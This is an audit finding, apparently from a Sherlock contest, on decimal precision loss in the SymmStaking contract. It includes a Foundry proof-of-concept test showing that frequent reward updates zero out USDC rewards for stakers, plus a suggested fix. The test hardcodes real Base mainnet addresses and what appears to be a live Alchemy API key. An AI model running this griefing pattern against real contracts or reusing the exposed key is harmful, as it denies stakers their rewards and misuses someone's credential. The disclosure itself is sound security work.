Dizzy Stone Sidewinder

Medium

# Frequent reward updates for tokens with less decimals will prevent stakers from receiving rewards

## Summary:

The `SymmStaking` contract is vulnerable to precision loss due to differing decimal precisions between the staking token (assumed to be 18 decimals) and reward tokens (e.g., USDC, USDT with 6 decimals). This leads to significant reward calculation errors and stakers receiving 0 rewards. An attacker can exploit this by frequently triggering reward updates each block, effectively nullifying the reward rate and preventing stakers from accumulating rewards.

## Vulnerability Details:

- **Precision Mismatch:**
  - Using the [rewardPerToken](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/d7cf7fc96af1c25b53a7b500a98b411cd018c0d3/token/contracts/staking/SymmStaking.sol#L194) calculation for tokens having different decimals will result in permission loss compared to SYMM's 18 decimals.
- **Reward Starvation:**
  - The `_updateRewardsStates` function updates the `rewardPerToken` and `lastUpdated` state variables.
  - An attacker can repeatedly call functions that trigger `_updateRewardsStates` (e.g., `deposit`, `withdraw`, `claimRewards`) at 1-3 blocks because in base the block time is 2 seconds.
  - Because of the precision loss, the `rewardPerToken` calculation may result in a zero value, effectively negating the rewards.
  - NOTE: that the attacker does not need to update rewards every 1-3 blocks if there is organic activity on every block from users interacting with SymmStaking and trigger the rewards update.

## Impact:

- Stakers will receive no rewards at all, as the attacker can manipulate the reward rate to zero.
- Thus no weekly rewards will be distributed to stakers,

## Proof Of Concept:

1. The reward duration is 1 week. This is default duration
2. The Admin sends 1000e6 usdc of rewards to the contract using `notifyRewardAmount` function.
3. Assuming there is atleast 10_000e18 SYMM staked in the contract.
4. [rewardRate](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/d7cf7fc96af1c25b53a7b500a98b411cd018c0d3/token/contracts/staking/SymmStaking.sol#L370) for usdc will be 1000e6 / 1 weeks = 1000e6 / 604800 = 1653
5. Every 1 to 3 blocks, the attacker will trigger an update rewards by calling `deposit`, `withdraw`, `claimRewards` functions. And the rewadPerToken is calculated as

`(((lastTimeRewardApplicable(_rewardsToken) - rewardState[_rewardsToken].lastUpdated) * rewardState[_rewardsToken].rate * 1e18) / totalSupply)`.

6. When 3 blocks are passed, the time since the last update would be 6 seconds because block time in Base is 2 seconds per block.

`(6 * 1653 * 1e18) / 10_000e18` => this will return 0.9918 ~ 0

7. Since the rewardPerToken is 0, none of the 1000e6 USDC will be distributed to the stakers.

#### Proof Of Code:

1. Use this guide to intergrate **foundry** into your project: [foundry](https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry)
2. Create a new file `FortisAudits.t.sol` in the `test` directory.
3. Add the following code to the `FortisAudits.t.sol` file:
4. Run the test using `forge test --mt test_FortisAudits_PrecisionLossDueToNoScaling -vvvv`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

import "../contracts/vesting/Vesting.sol";
import "../contracts/vesting/SymmVesting.sol";
import "../contracts/staking/SymmStaking.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "forge-std/Test.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract FortisAudits is Test {
	Vesting public vesting;
	SymmVesting public symmVesting_implementation;
	SymmVesting public symmVesting;
	ERC1967Proxy public proxy;
	SymmStaking public symmStaking_implementation;
	SymmStaking public symmStaking;
	address public admin = makeAddr("admin");
	address public alice = makeAddr("alice");
	address public bluedragon = makeAddr("bluedragon");
	address public bob = makeAddr("bob");
	address public jack = makeAddr("jack");
	address public USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
	address public SYMM = 0x800822d361335b4d5F352Dac293cA4128b5B605f;
	address public VAULT = 0xbA1333333333a1BA1108E8412f11850A5C319bA9;
	address public ROUTER = 0x76578ecf9a141296Ec657847fb45B0585bCDa3a6;
	address public POOL = 0x94Bf449AB92be226109f2Ed3CE2b297Db94bD995;
	address public PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
	address public SYMM_LP = 0x94Bf449AB92be226109f2Ed3CE2b297Db94bD995;

	function setUp() public {
		vm.createSelectFork("https://base-mainnet.g.alchemy.com/v2/7lQIfa41qSuRzxZqqrPakiOhNbvMnFID");
		vesting = new Vesting();
		symmVesting_implementation = new SymmVesting();
		symmStaking_implementation = new SymmStaking();
		bytes memory initData = abi.encodeWithSelector(symmStaking_implementation.initialize.selector, admin, SYMM);
		proxy = new ERC1967Proxy(address(symmStaking_implementation), initData);
		symmStaking = SymmStaking(address(proxy));
		initData = abi.encodeWithSelector(symmVesting_implementation.initialize.selector, admin, admin, POOL, ROUTER, PERMIT2, VAULT, SYMM, USDC, SYMM_LP);
		proxy = new ERC1967Proxy(address(symmVesting_implementation), initData);
		symmVesting = SymmVesting(address(proxy));
	}

    function test_FortisAudits_PrecisionLossDueToNoScaling() public {
		uint256 staking_amount = 10_000e18;
		uint256 reward_amount = 1_000e6;
		deal(address(USDC), admin, reward_amount);
		deal(address(SYMM), bluedragon, staking_amount);
		vm.prank(admin);
		symmStaking.configureRewardToken(USDC, true);

		// Users stake SYMM of 10,000 SYMM Tokens
		vm.startPrank(bluedragon);
		IERC20(SYMM).approve(address(symmStaking), staking_amount);
		symmStaking.deposit(staking_amount, bluedragon);
		vm.stopPrank();

		// Now we notify the reward amount of 1,000 USDC
		vm.startPrank(admin);
		address[] memory rewardTokens = new address[](1);
		rewardTokens[0] = USDC;
		uint256[] memory amounts = new uint256[](1);
		amounts[0] = reward_amount;
		IERC20(USDC).approve(address(symmStaking), reward_amount);
		symmStaking.notifyRewardAmount(rewardTokens, amounts);
		vm.stopPrank();

		// Base block time is 2 sec, lets move 3 blocks away => 6 sec
		vm.warp(block.timestamp + 6);

		// User claims the rewards and receives 0 USDC as rewardPerToken is precision lossed
		vm.startPrank(bluedragon);
		symmStaking.claimRewards();
		vm.stopPrank();

		(,,,,uint256 rewardPerToken) = symmStaking.rewardState(USDC);
		assertEq(rewardPerToken, 0);
	}
}
```

## Recommended Mitigation:

A possible mitigation is to convert the USDC rewards to an 18-decimal value when computing for rewardRate for USDC. When claiming rewards, convert the earned USDC rewards back to 6-decimal precision. If it is 0, store the unclaimed partial values of USDC until they can be claimed whole.
